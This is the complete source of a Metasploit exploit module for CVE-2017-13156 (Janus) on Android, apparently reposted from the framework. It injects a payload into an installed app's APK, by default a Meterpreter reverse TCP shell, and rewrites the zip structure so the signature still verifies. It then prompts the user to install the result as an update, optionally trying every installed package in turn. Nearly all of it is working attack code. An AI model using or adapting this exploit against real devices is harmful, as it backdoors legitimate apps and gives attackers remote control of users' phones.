Android Janus APK Signature bypass

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require ‘msf/core/payload/apk’

class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking

include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Android::Priv
include Msf::Payload::Android

def initialize(info={})
super( update_info( info, {
‘Name’ => “Android Janus APK Signature bypass”,
‘Description’ => %q{
This module exploits CVE-2017-13156 in Android to install a payload into another
application. The payload APK will have the same signature and can be installed
as an update, preserving the existing data.
The vulnerability was fixed in the 5th December 2017 security patch, and was
additionally fixed by the APK Signature scheme v2, so only APKs signed with
the v1 scheme are vulnerable.
Payload handler is disabled, and a multi/handler must be started first.
},
‘Author’ => [
‘GuardSquare’, # discovery
‘V-E-O’, # proof of concept
‘timwr’, # metasploit module
‘h00die’, # metasploit module
],
‘References’ => [
[ ‘CVE’, ‘2017-13156’ ],
[ ‘URL’, ‘https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures’ ],
[ ‘URL’, ‘https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156’ ],
],
‘DisclosureDate’ => ‘Jul 31 2017’,
‘SessionTypes’ => [ ‘meterpreter’ ],
‘Platform’ => [ ‘android’ ],
‘Arch’ => [ ARCH_DALVIK ],
‘Targets’ => [ [ ‘Automatic’, {} ] ],
‘DefaultOptions’ => {
‘PAYLOAD’ => ‘android/meterpreter/reverse_tcp’,
‘AndroidWakelock’ => false, # the target may not have the WAKE_LOCK permission
‘DisablePayloadHandler’ => true,
},
‘DefaultTarget’ => 0,
‘Notes’ => {
‘SideEffects’ => [‘ARTIFACTS_ON_DISK’, ‘SCREEN_EFFECTS’],
‘Stability’ => [‘SERVICE_RESOURCE_LOSS’], # ZTE youtube app won’t start anymore
}
}))
register_options([
OptString.new(‘PACKAGE’, [true, ‘The package to target, or ALL to attempt all’, ‘com.phonegap.camerasample’]),
])
register_advanced_options [
OptBool.new(‘ForceExploit’, [false, ‘Override check result’, false]),
]
end

def check
os = cmd_exec(“getprop ro.build.version.release”)
unless Gem::Version.new(os).between?(Gem::Version.new(‘5.1.1’), Gem::Version.new(‘8.0.0’))
vprint_error “Android version #{os} is not vulnerable.”
return CheckCode::Safe
end
vprint_good “Android version #{os} appears to be vulnerable.”

patch = cmd_exec(‘getprop ro.build.version.security_patch’)
if patch.empty?
print_status ‘Unable to determine patch level. Pre-5.0 this is unaccessible.’
elsif patch > ‘2017-12-05’
vprint_error “Android security patch level #{patch} is patched.”
return CheckCode::Safe
else
vprint_good “Android security patch level #{patch} is vulnerable”
end

CheckCode::Appears
end

def exploit

def infect(apkfile)
unless apkfile.start_with?(“package:”)
fail_with Failure::BadConfig, ‘Unable to locate app apk’
end
apkfile = apkfile[8..-1]
print_status “Downloading APK: #{apkfile}”
apk_data = read_file(apkfile)

begin
# Create an apk with the payload injected
apk_backdoor = ::Msf::Payload::Apk.new
apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false)

# Extract the classes.dex
dex_data = ”
Zip::File.open_buffer(apk_zip) do |zipfile|
dex_data = zipfile.read(“classes.dex”)
end
dex_size = dex_data.length

# Fix the original APKs zip file code directory
cd_end_addr = apk_data.rindex(“\x50\x4b\x05\x06”)
cd_start_addr = apk_data[cd_end_addr+16, cd_end_addr+20].unpack(“V”)[0]
apk_data[cd_end_addr+16…cd_end_addr+20] = [ cd_start_addr+dex_size ].pack(“V”)
pos = cd_start_addr
while pos && pos < cd_end_addr
offset = apk_data[pos+42, pos+46].unpack(“V”)[0]
apk_data[pos+42…pos+46] = [ offset+dex_size ].pack(“V”)
pos = apk_data.index(“\x50\x4b\x01\x02”, pos+46)
end

# Prepend the new classes.dex to the apk
out_data = dex_data + apk_data
out_data[32…36] = [ out_data.length ].pack(“V”)
out_data = fix_dex_header(out_data)

out_apk = “/sdcard/#{Rex::Text.rand_text_alphanumeric 6}.apk”
print_status “Uploading APK: #{out_apk}”
write_file(out_apk, out_data)
register_file_for_cleanup(out_apk)
print_status “APK uploaded”

# Prompt the user to update the APK
session.appapi.app_install(out_apk)
print_status “User should now have a prompt to install an updated version of the app”
true
rescue => e
print_error e.to_s
false
end
end

unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore[‘ForceExploit’]
fail_with Failure::NotVulnerable, ‘Target is not vulnerable. Set ForceExploit to override.’
end
print_warning ‘Target does not appear to be vulnerable’
end

if datastore[“PACKAGE”] == ‘ALL’
vprint_status(‘Finding installed packages (this can take a few minutes depending on list of installed packages)’)
apkfiles = []
all = cmd_exec(“pm list packages”).split(“\n”)
c = 1
all.each do |package|
package = package.split(‘:’)[1]
vprint_status(“Attempting exploit of apk #{c}/#{all.length} for #{package}”)
c += 1
next if [‘com.metasploit.stage’, # avoid injecting into ourself
].include? package # This was left on purpose to be expanded as need be for testing
result = infect(cmd_exec(“pm path #{package}”))
break if result
end
else
infect(cmd_exec(“pm path #{datastore[“PACKAGE”]}”))
end
end
end